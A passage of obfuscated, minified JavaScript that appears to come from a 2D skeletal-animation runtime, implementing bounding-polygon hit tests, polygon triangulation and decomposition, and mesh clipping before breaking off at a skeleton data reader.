- 0x2, _0x1ea8f2 = !0x1; for (let _0xc1594e = 0x0; _0xc1594e < _0x175921; _0xc1594e += 0x2) { let _0x3e0807 = _0x34ebe8[_0xc1594e + 0x1], _0x31f62b = _0x34ebe8[_0x3eb124 + 0x1]; if (_0x3e0807 < _0x5b09de && _0x31f62b >= _0x5b09de || _0x31f62b < _0x5b09de && _0x3e0807 >= _0x5b09de) { let _0x5a4857 = _0x34ebe8[_0xc1594e]; _0x5a4857 + (_0x5b09de - _0x3e0807) / (_0x31f62b - _0x3e0807) * (_0x34ebe8[_0x3eb124] - _0x5a4857) < _0x563a6f && (_0x1ea8f2 = !_0x1ea8f2); } _0x3eb124 = _0xc1594e; } return _0x1ea8f2; } ['intersectsSegment'](_0x320eb5, _0x5409a4, _0x4ed354, _0x466205) { let _0x33e956 = this['polygons']; for (let _0xaf989 = 0x0, _0x20e561 = _0x33e956['length']; _0xaf989 < _0x20e561; _0xaf989++)if (this['intersectsSegmentPolygon'](_0x33e956[_0xaf989], _0x320eb5, _0x5409a4, _0x4ed354, _0x466205)) return this['boundingBoxes'][_0xaf989]; return null; } ['intersectsSegmentPolygon'](_0x33d5d8, _0x3cf3af, _0x565cf8, _0x581cd3, _0x305a96) { let _0x3e0bfb = _0x33d5d8, _0x4d1048 = _0x33d5d8['length'], _0x24157f = _0x3cf3af - _0x581cd3, _0x176a5e = _0x565cf8 - _0x305a96, _0x126e2e = _0x3cf3af * _0x305a96 - _0x565cf8 * _0x581cd3, _0x705233 = _0x3e0bfb[_0x4d1048 - 0x2], _0x58256f = _0x3e0bfb[_0x4d1048 - 0x1]; for (let _0x453593 = 0x0; _0x453593 < _0x4d1048; _0x453593 += 0x2) { let _0x458b8c = _0x3e0bfb[_0x453593], _0x2faf5d = _0x3e0bfb[_0x453593 + 0x1], _0x47f14b = _0x705233 * _0x2faf5d - _0x58256f * _0x458b8c, _0x1ef4ae = _0x705233 - _0x458b8c, _0x2573b2 = _0x58256f - _0x2faf5d, _0x38a10c = _0x24157f * _0x2573b2 - _0x176a5e * _0x1ef4ae, _0x7c960e = (_0x126e2e * _0x1ef4ae - _0x24157f * _0x47f14b) / _0x38a10c; if ((_0x7c960e >= _0x705233 && _0x7c960e <= _0x458b8c || _0x7c960e >= _0x458b8c && _0x7c960e <= _0x705233) && (_0x7c960e >= _0x3cf3af && _0x7c960e <= _0x581cd3 || _0x7c960e >= _0x581cd3 && _0x7c960e <= _0x3cf3af)) { let _0x354ca3 = (_0x126e2e * _0x2573b2 - _0x176a5e * _0x47f14b) / _0x38a10c; if ((_0x354ca3 >= _0x58256f && _0x354ca3 <= _0x2faf5d || _0x354ca3 >= _0x2faf5d && _0x354ca3 <= _0x58256f) && (_0x354ca3 >= _0x565cf8 && _0x354ca3 <= _0x305a96 || _0x354ca3 >= _0x305a96 && _0x354ca3 <= _0x565cf8)) return !0x0; } _0x705233 = _0x458b8c, _0x58256f = _0x2faf5d; } return !0x1; } ['getPolygon'](_0x356d22) { if (!_0x356d22) throw new Error('boundingBox\x20cannot\x20be\x20null.'); let _0xca4bab = this['boundingBoxes']['indexOf'](_0x356d22); return -0x1 == _0xca4bab ? null : this['polygons'][_0xca4bab]; } ['getWidth']() { return this['maxX'] - this['minX']; } ['getHeight']() { return this['maxY'] - this['minY']; } }, _0x4bcb01 = class { constructor() { this['convexPolygons'] = new Array(), this['convexPolygonsIndices'] = new Array(), this['indicesArray'] = new Array(), this['isConcaveArray'] = new Array(), this['triangles'] = new Array(), this['polygonPool'] = new _0x100ce0(() => new Array()), this['polygonIndicesPool'] = new _0x100ce0(() => new Array()); } ['triangulate'](_0x1bd81b) { let _0x5ac471 = _0x1bd81b, _0x9ebdd2 = _0x1bd81b['length'] >> 0x1, _0x59e3dc = this['indicesArray']; _0x59e3dc['length'] = 0x0; for (let _0x45a225 = 0x0; _0x45a225 < _0x9ebdd2; _0x45a225++)_0x59e3dc[_0x45a225] = _0x45a225; let _0x42bf35 = this['isConcaveArray']; _0x42bf35['length'] = 0x0; for (let _0xe2cd28 = 0x0, _0x56dcee = _0x9ebdd2; _0xe2cd28 < _0x56dcee; ++_0xe2cd28)_0x42bf35[_0xe2cd28] = _0x4bcb01['isConcave'](_0xe2cd28, _0x9ebdd2, _0x5ac471, _0x59e3dc); let _0x140c52 = this['triangles']; for (_0x140c52['length'] = 0x0; _0x9ebdd2 > 0x3;) { let _0x5765a3 = _0x9ebdd2 - 0x1, _0xf1b276 = 0x0, _0x45ca08 = 0x1; for (; ;) { _0x55093a: if (!_0x42bf35[_0xf1b276]) { let _0x11e470 = _0x59e3dc[_0x5765a3] << 0x1, _0x5b0cc3 = _0x59e3dc[_0xf1b276] << 0x1, _0xf11596 = _0x59e3dc[_0x45ca08] << 0x1, _0x5949e0 = _0x5ac471[_0x11e470], _0x5c03fe = _0x5ac471[_0x11e470 + 0x1], _0x188279 = _0x5ac471[_0x5b0cc3], _0x1cce85 = _0x5ac471[_0x5b0cc3 + 0x1], _0x277934 = _0x5ac471[_0xf11596], _0x5a8f07 = _0x5ac471[_0xf11596 + 0x1]; for (let _0x1ea857 = (_0x45ca08 + 0x1) % _0x9ebdd2; _0x1ea857 != _0x5765a3; _0x1ea857 = (_0x1ea857 + 0x1) % _0x9ebdd2) { if (!_0x42bf35[_0x1ea857]) continue; let _0x53051d = _0x59e3dc[_0x1ea857] << 0x1, _0x5767d4 = _0x5ac471[_0x53051d], _0x3fcd25 = _0x5ac471[_0x53051d + 0x1]; if (_0x4bcb01['positiveArea'](_0x277934, _0x5a8f07, _0x5949e0, _0x5c03fe, _0x5767d4, _0x3fcd25) && _0x4bcb01['positiveArea'](_0x5949e0, _0x5c03fe, _0x188279, _0x1cce85, _0x5767d4, _0x3fcd25) && _0x4bcb01['positiveArea'](_0x188279, _0x1cce85, _0x277934, _0x5a8f07, _0x5767d4, _0x3fcd25)) break _0x55093a; } break; } if (0x0 == _0x45ca08) { do { if (!_0x42bf35[_0xf1b276]) break; _0xf1b276--; } while (_0xf1b276 > 0x0); break; } _0x5765a3 = _0xf1b276, _0xf1b276 = _0x45ca08, _0x45ca08 = (_0x45ca08 + 0x1) % _0x9ebdd2; } _0x140c52['push'](_0x59e3dc[(_0x9ebdd2 + _0xf1b276 - 0x1) % _0x9ebdd2]), _0x140c52['push'](_0x59e3dc[_0xf1b276]), _0x140c52['push'](_0x59e3dc[(_0xf1b276 + 0x1) % _0x9ebdd2]), _0x59e3dc['splice'](_0xf1b276, 0x1), _0x42bf35['splice'](_0xf1b276, 0x1), _0x9ebdd2--; let _0x114c27 = (_0x9ebdd2 + _0xf1b276 - 0x1) % _0x9ebdd2, _0x32545a = _0xf1b276 == _0x9ebdd2 ? 0x0 : _0xf1b276; _0x42bf35[_0x114c27] = _0x4bcb01['isConcave'](_0x114c27, _0x9ebdd2, _0x5ac471, _0x59e3dc), _0x42bf35[_0x32545a] = _0x4bcb01['isConcave'](_0x32545a, _0x9ebdd2, _0x5ac471, _0x59e3dc); } return 0x3 == _0x9ebdd2 && (_0x140c52['push'](_0x59e3dc[0x2]), _0x140c52['push'](_0x59e3dc[0x0]), _0x140c52['push'](_0x59e3dc[0x1])), _0x140c52; } ['decompose'](_0x58054c, _0x55795d) { let _0xa5c239 = _0x58054c, _0x42c029 = this['convexPolygons']; this['polygonPool']['freeAll'](_0x42c029), _0x42c029['length'] = 0x0; let _0x240294 = this['convexPolygonsIndices']; this['polygonIndicesPool']['freeAll'](_0x240294), _0x240294['length'] = 0x0; let _0x155c35 = this['polygonIndicesPool']['obtain'](); _0x155c35['length'] = 0x0; let _0x5a09e9 = this['polygonPool']['obtain'](); _0x5a09e9['length'] = 0x0; let _0x3369d3 = -0x1, _0x1e1023 = 0x0; for (let _0x2d3f4f = 0x0, _0x7e55a3 = _0x55795d['length']; _0x2d3f4f < _0x7e55a3; _0x2d3f4f += 0x3) { let _0x11a002 = _0x55795d[_0x2d3f4f] << 0x1, _0x49c34e = _0x55795d[_0x2d3f4f + 0x1] << 0x1, _0xfa1aa6 = _0x55795d[_0x2d3f4f + 0x2] << 0x1, _0x2ba01e = _0xa5c239[_0x11a002], _0x1c3906 = _0xa5c239[_0x11a002 + 0x1], _0x54e958 = _0xa5c239[_0x49c34e], _0x4743de = _0xa5c239[_0x49c34e + 0x1], _0xfbe8b2 = _0xa5c239[_0xfa1aa6], _0x3b0e87 = _0xa5c239[_0xfa1aa6 + 0x1], _0x62f5e4 = !0x1; if (_0x3369d3 == _0x11a002) { let _0x3c4bfa = _0x5a09e9['length'] - 0x4, _0x280b56 = _0x4bcb01['winding'](_0x5a09e9[_0x3c4bfa], _0x5a09e9[_0x3c4bfa + 0x1], _0x5a09e9[_0x3c4bfa + 0x2], _0x5a09e9[_0x3c4bfa + 0x3], _0xfbe8b2, _0x3b0e87), _0x33d6ec = _0x4bcb01['winding'](_0xfbe8b2, _0x3b0e87, _0x5a09e9[0x0], _0x5a09e9[0x1], _0x5a09e9[0x2], _0x5a09e9[0x3]); _0x280b56 == _0x1e1023 && _0x33d6ec == _0x1e1023 && (_0x5a09e9['push'](_0xfbe8b2), _0x5a09e9['push'](_0x3b0e87), _0x155c35['push'](_0xfa1aa6), _0x62f5e4 = !0x0); } _0x62f5e4 || (_0x5a09e9['length'] > 0x0 ? (_0x42c029['push'](_0x5a09e9), _0x240294['push'](_0x155c35)) : (this['polygonPool']['free'](_0x5a09e9), this['polygonIndicesPool']['free'](_0x155c35)), _0x5a09e9 = this['polygonPool']['obtain'](), _0x5a09e9['length'] = 0x0, _0x5a09e9['push'](_0x2ba01e), _0x5a09e9['push'](_0x1c3906), _0x5a09e9['push'](_0x54e958), _0x5a09e9['push'](_0x4743de), _0x5a09e9['push'](_0xfbe8b2), _0x5a09e9['push'](_0x3b0e87), _0x155c35 = this['polygonIndicesPool']['obtain'](), _0x155c35['length'] = 0x0, _0x155c35['push'](_0x11a002), _0x155c35['push'](_0x49c34e), _0x155c35['push'](_0xfa1aa6), _0x1e1023 = _0x4bcb01['winding'](_0x2ba01e, _0x1c3906, _0x54e958, _0x4743de, _0xfbe8b2, _0x3b0e87), _0x3369d3 = _0x11a002); } _0x5a09e9['length'] > 0x0 && (_0x42c029['push'](_0x5a09e9), _0x240294['push'](_0x155c35)); for (let _0x472b05 = 0x0, _0x13425c = _0x42c029['length']; _0x472b05 < _0x13425c; _0x472b05++) { if (_0x155c35 = _0x240294[_0x472b05], 0x0 == _0x155c35['length']) continue; let _0x40b4f7 = _0x155c35[0x0], _0x553fa0 = _0x155c35[_0x155c35['length'] - 0x1]; _0x5a09e9 = _0x42c029[_0x472b05]; let _0x37abce = _0x5a09e9['length'] - 0x4, _0x460bc7 = _0x5a09e9[_0x37abce], _0x499236 = _0x5a09e9[_0x37abce + 0x1], _0x3d75bf = _0x5a09e9[_0x37abce + 0x2], _0x326d1e = _0x5a09e9[_0x37abce + 0x3], _0xf0c7bc = _0x5a09e9[0x0], _0xf0a789 = _0x5a09e9[0x1], _0x47835e = _0x5a09e9[0x2], _0x13df1c = _0x5a09e9[0x3], _0x22cd8b = _0x4bcb01['winding'](_0x460bc7, _0x499236, _0x3d75bf, _0x326d1e, _0xf0c7bc, _0xf0a789); for (let _0x2cc08c = 0x0; _0x2cc08c < _0x13425c; _0x2cc08c++) { if (_0x2cc08c == _0x472b05) continue; let _0x3b6b7a = _0x240294[_0x2cc08c]; if (0x3 != _0x3b6b7a['length']) continue; let _0x40a1dd = _0x3b6b7a[0x0], _0x190bd5 = _0x3b6b7a[0x1], _0x5ea089 = _0x3b6b7a[0x2], _0x1a62b6 = _0x42c029[_0x2cc08c], _0x4d6542 = _0x1a62b6[_0x1a62b6['length'] - 0x2], _0x595c0c = _0x1a62b6[_0x1a62b6['length'] - 0x1]; if (_0x40a1dd != _0x40b4f7 || _0x190bd5 != _0x553fa0) continue; let _0x1f061a = _0x4bcb01['winding'](_0x460bc7, _0x499236, _0x3d75bf, _0x326d1e, _0x4d6542, _0x595c0c), _0x3a2948 = _0x4bcb01['winding'](_0x4d6542, _0x595c0c, _0xf0c7bc, _0xf0a789, _0x47835e, _0x13df1c); _0x1f061a == _0x22cd8b && _0x3a2948 == _0x22cd8b && (_0x1a62b6['length'] = 0x0, _0x3b6b7a['length'] = 0x0, _0x5a09e9['push'](_0x4d6542), _0x5a09e9['push'](_0x595c0c), _0x155c35['push'](_0x5ea089), _0x460bc7 = _0x3d75bf, _0x499236 = _0x326d1e, _0x3d75bf = _0x4d6542, _0x326d1e = _0x595c0c, _0x2cc08c = 0x0); } } for (let _0x269d59 = _0x42c029['length'] - 0x1; _0x269d59 >= 0x0; _0x269d59--)_0x5a09e9 = _0x42c029[_0x269d59], 0x0 == _0x5a09e9['length'] && (_0x42c029['splice'](_0x269d59, 0x1), this['polygonPool']['free'](_0x5a09e9), _0x155c35 = _0x240294[_0x269d59], _0x240294['splice'](_0x269d59, 0x1), this['polygonIndicesPool']['free'](_0x155c35)); return _0x42c029; } static ['isConcave'](_0x3feb56, _0x3aad76, _0x291430, _0x31112a) { let _0xfbf5d8 = _0x31112a[(_0x3aad76 + _0x3feb56 - 0x1) % _0x3aad76] << 0x1, _0x429aa7 = _0x31112a[_0x3feb56] << 0x1, _0x20f19d = _0x31112a[(_0x3feb56 + 0x1) % _0x3aad76] << 0x1; return !this['positiveArea'](_0x291430[_0xfbf5d8], _0x291430[_0xfbf5d8 + 0x1], _0x291430[_0x429aa7], _0x291430[_0x429aa7 + 0x1], _0x291430[_0x20f19d], _0x291430[_0x20f19d + 0x1]); } static ['positiveArea'](_0x41154c, _0x14bcb6, _0x1cb26a, _0x1c1d7a, _0x20d804, _0x550153) { return _0x41154c * (_0x550153 - _0x1c1d7a) + _0x1cb26a * (_0x14bcb6 - _0x550153) + _0x20d804 * (_0x1c1d7a - _0x14bcb6) >= 0x0; } static ['winding'](_0x1379d4, _0x496e5e, _0x23cea6, _0x5e2fec, _0xb5dfe1, _0x932fd7) { let _0x58a1b0 = _0x23cea6 - _0x1379d4, _0x3e6620 = _0x5e2fec - _0x496e5e; return _0xb5dfe1 * _0x3e6620 - _0x932fd7 * _0x58a1b0 + _0x58a1b0 * _0x496e5e - _0x1379d4 * _0x3e6620 >= 0x0 ? 0x1 : -0x1; } }, _0x14fd37 = class { constructor() { this['triangulator'] = new _0x4bcb01(), this['clippingPolygon'] = new Array(), this['clipOutput'] = new Array(), this['clippedVertices'] = new Array(), this['clippedTriangles'] = new Array(), this['scratch'] = new Array(), this['clipAttachment'] = null, this['clippingPolygons'] = null; } ['clipStart'](_0xf1d691, _0x12af42) { if (this['clipAttachment']) return 0x0; this['clipAttachment'] = _0x12af42; let _0x5df478 = _0x12af42['worldVerticesLength'], _0x561abd = _0x380bba['setArraySize'](this['clippingPolygon'], _0x5df478); _0x12af42['computeWorldVertices'](_0xf1d691, 0x0, _0x5df478, _0x561abd, 0x0, 0x2); let _0x29d9b9 = this['clippingPolygon']; _0x14fd37['makeClockwise'](_0x29d9b9); let _0x379d89 = this['clippingPolygons'] = this['triangulator']['decompose'](_0x29d9b9, this['triangulator']['triangulate'](_0x29d9b9)); for (let _0x384330 = 0x0, _0x3bea6d = _0x379d89['length']; _0x384330 < _0x3bea6d; _0x384330++) { let _0x4f7046 = _0x379d89[_0x384330]; _0x14fd37['makeClockwise'](_0x4f7046), _0x4f7046['push'](_0x4f7046[0x0]), _0x4f7046['push'](_0x4f7046[0x1]); } return _0x379d89['length']; } ['clipEndWithSlot'](_0x1cadfd) { this['clipAttachment'] && this['clipAttachment']['endSlot'] == _0x1cadfd['data'] && this['clipEnd'](); } ['clipEnd']() { this['clipAttachment'] && (this['clipAttachment'] = null, this['clippingPolygons'] = null, this['clippedVertices']['length'] = 0x0, this['clippedTriangles']['length'] = 0x0, this['clippingPolygon']['length'] = 0x0); } ['isClipping']() { return null != this['clipAttachment']; } ['clipTriangles'](_0x4abf28, _0x2b7d57, _0x49cea3, _0x5b3f9d, _0x19600d, _0x168c8f, _0x5c4163, _0x153386) { let _0x7892b5 = this['clipOutput'], _0x41eb05 = this['clippedVertices'], _0x467891 = this['clippedTriangles'], _0xe52bed = this['clippingPolygons'], _0x41f49e = _0xe52bed['length'], _0x28a6e5 = _0x153386 ? 0xc : 0x8, _0x539d33 = 0x0; _0x41eb05['length'] = 0x0, _0x467891['length'] = 0x0; _0x12d54d: for (let _0xae3da2 = 0x0; _0xae3da2 < _0x5b3f9d; _0xae3da2 += 0x3) { let _0xd74568 = _0x49cea3[_0xae3da2] << 0x1, _0x333f0e = _0x4abf28[_0xd74568], _0x3ac365 = _0x4abf28[_0xd74568 + 0x1], _0x2de7ee = _0x19600d[_0xd74568], _0x50cb37 = _0x19600d[_0xd74568 + 0x1]; _0xd74568 = _0x49cea3[_0xae3da2 + 0x1] << 0x1; let _0x1a530e = _0x4abf28[_0xd74568], _0x4042e6 = _0x4abf28[_0xd74568 + 0x1], _0x271fbd = _0x19600d[_0xd74568], _0x59a6a8 = _0x19600d[_0xd74568 + 0x1]; _0xd74568 = _0x49cea3[_0xae3da2 + 0x2] << 0x1; let _0x15d02a = _0x4abf28[_0xd74568], _0x34f6cc = _0x4abf28[_0xd74568 + 0x1], _0x49c49e = _0x19600d[_0xd74568], _0x1cf872 = _0x19600d[_0xd74568 + 0x1]; for (let _0x443261 = 0x0; _0x443261 < _0x41f49e; _0x443261++) { let _0x291549 = _0x41eb05['length']; if (!this['clip'](_0x333f0e, _0x3ac365, _0x1a530e, _0x4042e6, _0x15d02a, _0x34f6cc, _0xe52bed[_0x443261], _0x7892b5)) { let _0x58451e = _0x380bba['setArraySize'](_0x41eb05, _0x291549 + 0x3 * _0x28a6e5); _0x58451e[_0x291549] = _0x333f0e, _0x58451e[_0x291549 + 0x1] = _0x3ac365, _0x58451e[_0x291549 + 0x2] = _0x168c8f['r'], _0x58451e[_0x291549 + 0x3] = _0x168c8f['g'], _0x58451e[_0x291549 + 0x4] = _0x168c8f['b'], _0x58451e[_0x291549 + 0x5] = _0x168c8f['a'], _0x153386 ? (_0x58451e[_0x291549 + 0x6] = _0x2de7ee, _0x58451e[_0x291549 + 0x7] = _0x50cb37, _0x58451e[_0x291549 + 0x8] = _0x5c4163['r'], _0x58451e[_0x291549 + 0x9] = _0x5c4163['g'], _0x58451e[_0x291549 + 0xa] = _0x5c4163['b'], _0x58451e[_0x291549 + 0xb] = _0x5c4163['a'], _0x58451e[_0x291549 + 0xc] = _0x1a530e, _0x58451e[_0x291549 + 0xd] = _0x4042e6, _0x58451e[_0x291549 + 0xe] = _0x168c8f['r'], _0x58451e[_0x291549 + 0xf] = _0x168c8f['g'], _0x58451e[_0x291549 + 0x10] = _0x168c8f['b'], _0x58451e[_0x291549 + 0x11] = _0x168c8f['a'], _0x58451e[_0x291549 + 0x12] = _0x271fbd, _0x58451e[_0x291549 + 0x13] = _0x59a6a8, _0x58451e[_0x291549 + 0x14] = _0x5c4163['r'], _0x58451e[_0x291549 + 0x15] = _0x5c4163['g'], _0x58451e[_0x291549 + 0x16] = _0x5c4163['b'], _0x58451e[_0x291549 + 0x17] = _0x5c4163['a'], _0x58451e[_0x291549 + 0x18] = _0x15d02a, _0x58451e[_0x291549 + 0x19] = _0x34f6cc, _0x58451e[_0x291549 + 0x1a] = _0x168c8f['r'], _0x58451e[_0x291549 + 0x1b] = _0x168c8f['g'], _0x58451e[_0x291549 + 0x1c] = _0x168c8f['b'], _0x58451e[_0x291549 + 0x1d] = _0x168c8f['a'], _0x58451e[_0x291549 + 0x1e] = _0x49c49e, _0x58451e[_0x291549 + 0x1f] = _0x1cf872, _0x58451e[_0x291549 + 0x20] = _0x5c4163['r'], _0x58451e[_0x291549 + 0x21] = _0x5c4163['g'], _0x58451e[_0x291549 + 0x22] = _0x5c4163['b'], _0x58451e[_0x291549 + 0x23] = _0x5c4163['a']) : (_0x58451e[_0x291549 + 0x6] = _0x2de7ee, _0x58451e[_0x291549 + 0x7] = _0x50cb37, _0x58451e[_0x291549 + 0x8] = _0x1a530e, _0x58451e[_0x291549 + 0x9] = _0x4042e6, _0x58451e[_0x291549 + 0xa] = _0x168c8f['r'], _0x58451e[_0x291549 + 0xb] = _0x168c8f['g'], _0x58451e[_0x291549 + 0xc] = _0x168c8f['b'], _0x58451e[_0x291549 + 0xd] = _0x168c8f['a'], _0x58451e[_0x291549 + 0xe] = _0x271fbd, _0x58451e[_0x291549 + 0xf] = _0x59a6a8, _0x58451e[_0x291549 + 0x10] = _0x15d02a, _0x58451e[_0x291549 + 0x11] = _0x34f6cc, _0x58451e[_0x291549 + 0x12] = _0x168c8f['r'], _0x58451e[_0x291549 + 0x13] = _0x168c8f['g'], _0x58451e[_0x291549 + 0x14] = _0x168c8f['b'], _0x58451e[_0x291549 + 0x15] = _0x168c8f['a'], _0x58451e[_0x291549 + 0x16] = _0x49c49e, _0x58451e[_0x291549 + 0x17] = _0x1cf872), _0x291549 = _0x467891['length']; let _0x4ec56d = _0x380bba['setArraySize'](_0x467891, _0x291549 + 0x3); _0x4ec56d[_0x291549] = _0x539d33, _0x4ec56d[_0x291549 + 0x1] = _0x539d33 + 0x1, _0x4ec56d[_0x291549 + 0x2] = _0x539d33 + 0x2, _0x539d33 += 0x3; continue _0x12d54d; } { let _0x322c53 = _0x7892b5['length']; if (0x0 == _0x322c53) continue; let _0x560fa1 = _0x4042e6 - _0x34f6cc, _0x361dd9 = _0x15d02a - _0x1a530e, _0x96913e = _0x333f0e - _0x15d02a, _0x730f43 = _0x34f6cc - _0x3ac365, _0x4ea9b3 = 0x1 / (_0x560fa1 * _0x96913e + _0x361dd9 * (_0x3ac365 - _0x34f6cc)), _0x2dc0f1 = _0x322c53 >> 0x1, _0x55d440 = this['clipOutput'], _0x3d761c = _0x380bba['setArraySize'](_0x41eb05, _0x291549 + _0x2dc0f1 * _0x28a6e5); for (let _0x209f9c = 0x0; _0x209f9c < _0x322c53; _0x209f9c += 0x2) { let _0x2e847 = _0x55d440[_0x209f9c], _0x45eb46 = _0x55d440[_0x209f9c + 0x1]; _0x3d761c[_0x291549] = _0x2e847, _0x3d761c[_0x291549 + 0x1] = _0x45eb46, _0x3d761c[_0x291549 + 0x2] = _0x168c8f['r'], _0x3d761c[_0x291549 + 0x3] = _0x168c8f['g'], _0x3d761c[_0x291549 + 0x4] = _0x168c8f['b'], _0x3d761c[_0x291549 + 0x5] = _0x168c8f['a']; let _0x4c122b = _0x2e847 - _0x15d02a, _0x1aab00 = _0x45eb46 - _0x34f6cc, _0x190dff = (_0x560fa1 * _0x4c122b + _0x361dd9 * _0x1aab00) * _0x4ea9b3, _0x46e844 = (_0x730f43 * _0x4c122b + _0x96913e * _0x1aab00) * _0x4ea9b3, _0xca7b96 = 0x1 - _0x190dff - _0x46e844; _0x3d761c[_0x291549 + 0x6] = _0x2de7ee * _0x190dff + _0x271fbd * _0x46e844 + _0x49c49e * _0xca7b96, _0x3d761c[_0x291549 + 0x7] = _0x50cb37 * _0x190dff + _0x59a6a8 * _0x46e844 + _0x1cf872 * _0xca7b96, _0x153386 && (_0x3d761c[_0x291549 + 0x8] = _0x5c4163['r'], _0x3d761c[_0x291549 + 0x9] = _0x5c4163['g'], _0x3d761c[_0x291549 + 0xa] = _0x5c4163['b'], _0x3d761c[_0x291549 + 0xb] = _0x5c4163['a']), _0x291549 += _0x28a6e5; } _0x291549 = _0x467891['length']; let _0x5de307 = _0x380bba['setArraySize'](_0x467891, _0x291549 + 0x3 * (_0x2dc0f1 - 0x2)); _0x2dc0f1--; for (let _0x4d7126 = 0x1; _0x4d7126 < _0x2dc0f1; _0x4d7126++)_0x5de307[_0x291549] = _0x539d33, _0x5de307[_0x291549 + 0x1] = _0x539d33 + _0x4d7126, _0x5de307[_0x291549 + 0x2] = _0x539d33 + _0x4d7126 + 0x1, _0x291549 += 0x3; _0x539d33 += _0x2dc0f1 + 0x1; } } } } ['clip'](_0x5ed55c, _0x5047cb, _0x3dcca5, _0x428e0d, _0x14214d, _0x327cec, _0x31baeb, _0x30b185) { let _0x474d83, _0xd20005 = _0x30b185, _0xa3bf2b = !0x1; _0x31baeb['length'] % 0x4 >= 0x2 ? (_0x474d83 = _0x30b185, _0x30b185 = this['scratch']) : _0x474d83 = this['scratch'], _0x474d83['length'] = 0x0, _0x474d83['push'](_0x5ed55c), _0x474d83['push'](_0x5047cb), _0x474d83['push'](_0x3dcca5), _0x474d83['push'](_0x428e0d), _0x474d83['push'](_0x14214d), _0x474d83['push'](_0x327cec), _0x474d83['push'](_0x5ed55c), _0x474d83['push'](_0x5047cb), _0x30b185['length'] = 0x0; let _0x1d364f = _0x31baeb, _0x10befb = _0x31baeb['length'] - 0x4; for (let _0x4311e0 = 0x0; ; _0x4311e0 += 0x2) { let _0x597b18 = _0x1d364f[_0x4311e0], _0x52968e = _0x1d364f[_0x4311e0 + 0x1], _0x25623e = _0x1d364f[_0x4311e0 + 0x2], _0x202798 = _0x1d364f[_0x4311e0 + 0x3], _0x26dead = _0x597b18 - _0x25623e, _0x53d8fa = _0x52968e - _0x202798, _0x42faf5 = _0x474d83, _0x3447a0 = _0x474d83['length'] - 0x2, _0x5abfdf = _0x30b185['length']; for (let _0x586cba = 0x0; _0x586cba < _0x3447a0; _0x586cba += 0x2) { let _0x25d5a8 = _0x42faf5[_0x586cba], _0x4395b5 = _0x42faf5[_0x586cba + 0x1], _0x518bc6 = _0x42faf5[_0x586cba + 0x2], _0x1c4b06 = _0x42faf5[_0x586cba + 0x3], _0x9f9ac6 = _0x26dead * (_0x1c4b06 - _0x202798) - _0x53d8fa * (_0x518bc6 - _0x25623e) > 0x0; if (_0x26dead * (_0x4395b5 - _0x202798) - _0x53d8fa * (_0x25d5a8 - _0x25623e) > 0x0) { if (_0x9f9ac6) { _0x30b185['push'](_0x518bc6), _0x30b185['push'](_0x1c4b06); continue; } let _0x3dcfe7 = _0x1c4b06 - _0x4395b5, _0x521ef9 = _0x518bc6 - _0x25d5a8, _0x23a48a = _0x3dcfe7 * (_0x25623e - _0x597b18) - _0x521ef9 * (_0x202798 - _0x52968e); if (Math['abs'](_0x23a48a) > 0.000001) { let _0x181511 = (_0x521ef9 * (_0x52968e - _0x4395b5) - _0x3dcfe7 * (_0x597b18 - _0x25d5a8)) / _0x23a48a; _0x30b185['push'](_0x597b18 + (_0x25623e - _0x597b18) * _0x181511), _0x30b185['push'](_0x52968e + (_0x202798 - _0x52968e) * _0x181511); } else _0x30b185['push'](_0x597b18), _0x30b185['push'](_0x52968e); } else { if (_0x9f9ac6) { let _0x11eb9b = _0x1c4b06 - _0x4395b5, _0x42f8a7 = _0x518bc6 - _0x25d5a8, _0x128a55 = _0x11eb9b * (_0x25623e - _0x597b18) - _0x42f8a7 * (_0x202798 - _0x52968e); if (Math['abs'](_0x128a55) > 0.000001) { let _0x3ef0e1 = (_0x42f8a7 * (_0x52968e - _0x4395b5) - _0x11eb9b * (_0x597b18 - _0x25d5a8)) / _0x128a55; _0x30b185['push'](_0x597b18 + (_0x25623e - _0x597b18) * _0x3ef0e1), _0x30b185['push'](_0x52968e + (_0x202798 - _0x52968e) * _0x3ef0e1); } else _0x30b185['push'](_0x597b18), _0x30b185['push'](_0x52968e); _0x30b185['push'](_0x518bc6), _0x30b185['push'](_0x1c4b06); } } _0xa3bf2b = !0x0; } if (_0x5abfdf == _0x30b185['length']) return _0xd20005['length'] = 0x0, !0x0; if (_0x30b185['push'](_0x30b185[0x0]), _0x30b185['push'](_0x30b185[0x1]), _0x4311e0 == _0x10befb) break; let _0x5d5dde = _0x30b185; (_0x30b185 = _0x474d83)['length'] = 0x0, _0x474d83 = _0x5d5dde; } if (_0xd20005 != _0x30b185) { _0xd20005['length'] = 0x0; for (let _0x5b1304 = 0x0, _0x2ea1c3 = _0x30b185['length'] - 0x2; _0x5b1304 < _0x2ea1c3; _0x5b1304++)_0xd20005[_0x5b1304] = _0x30b185[_0x5b1304]; } else _0xd20005['length'] = _0xd20005['length'] - 0x2; return _0xa3bf2b; } static ['makeClockwise'](_0x2f4f47) { let _0x2ad1e6 = _0x2f4f47, _0x3836ad = _0x2f4f47['length'], _0x4f7289 = _0x2ad1e6[_0x3836ad - 0x2] * _0x2ad1e6[0x1] - _0x2ad1e6[0x0] * _0x2ad1e6[_0x3836ad - 0x1], _0x24fe16 = 0x0, _0x40ccbb = 0x0, _0x175dfe = 0x0, _0x1919a4 = 0x0; for (let _0x58a073 = 0x0, _0xd37038 = _0x3836ad - 0x3; _0x58a073 < _0xd37038; _0x58a073 += 0x2)_0x24fe16 = _0x2ad1e6[_0x58a073], _0x40ccbb = _0x2ad1e6[_0x58a073 + 0x1], _0x175dfe = _0x2ad1e6[_0x58a073 + 0x2], _0x1919a4 = _0x2ad1e6[_0x58a073 + 0x3], _0x4f7289 += _0x24fe16 * _0x1919a4 - _0x175dfe * _0x40ccbb; if (!(_0x4f7289 < 0x0)) for (let _0xda7d68 = 0x0, _0x213db4 = _0x3836ad - 0x2, _0x4ef58a = _0x3836ad >> 0x1; _0xda7d68 < _0x4ef58a; _0xda7d68 += 0x2) { let _0xc48f71 = _0x2ad1e6[_0xda7d68], _0xbdaf36 = _0x2ad1e6[_0xda7d68 + 0x1], _0x4405df = _0x213db4 - _0xda7d68; _0x2ad1e6[_0xda7d68] = _0x2ad1e6[_0x4405df], _0x2ad1e6[_0xda7d68 + 0x1] = _0x2ad1e6[_0x4405df + 0x1], _0x2ad1e6[_0x4405df] = _0xc48f71, _0x2ad1e6[_0x4405df + 0x1] = _0xbdaf36; } } }, _0x2ed9da = class { constructor(_0x332029) { this['scale'] = 0x1, this['linkedMeshes'] = new Array(), this['attachmentLoader'] = _0x332029; } ['readSkeletonData'](_0x29e986) { let _0x9d2979 = this['scale'], 